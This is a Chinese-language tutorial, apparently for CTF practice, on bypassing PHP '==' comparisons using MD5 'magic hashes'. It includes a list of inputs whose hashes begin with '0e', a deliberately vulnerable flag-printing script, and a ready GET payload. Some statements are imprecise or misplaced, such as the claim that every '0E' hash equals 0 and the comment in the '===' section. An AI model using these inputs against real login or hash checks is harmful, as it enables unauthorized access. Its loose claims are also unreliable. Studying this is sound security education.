当php处理字符串时,会利用“==”或者“===”来比较。
当“==”时:
php把每一个以”0E”开头的哈希值都解释为0,所以要绕过"==",需要想办法让两边的不同数值经过md5加密后都为“0E”开头,这样当处理到这里的代码时,php会认为它们两个都为0,即可绕过。
开头为0E(MD5值)
字母数字混合类型:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
纯大写字母:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
纯数字:
240610708
0e462097431906509019562988736854
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412
示例:
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
这里需要理解两个函数:
is_numeric() 函数用于检测变量是否为数字或数字字符串。——如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
ctype_alpha — 做纯字符检测。——如果在当前语言环境中 text
里的每个字符都是一个字母,那么就返回true
,反之则返回false
。
可以利用上文所说的绕过第三个if,但要注意要符合前两个if条件。
v1要为纯字母形式,所以v1=EEIZDOI || v1=QNKCDZO || v1=QLTHNDT
v2要为纯数字形式,所以v2=240610708
payload:GET:v1=EEIZDOI&v2=240610708
当为“===”:
在类型相同时才相等。"=="即non-strict比较符,会在类型转换后进行比较。
此外0 == 字符会被认为是正确的,可以绕过验证。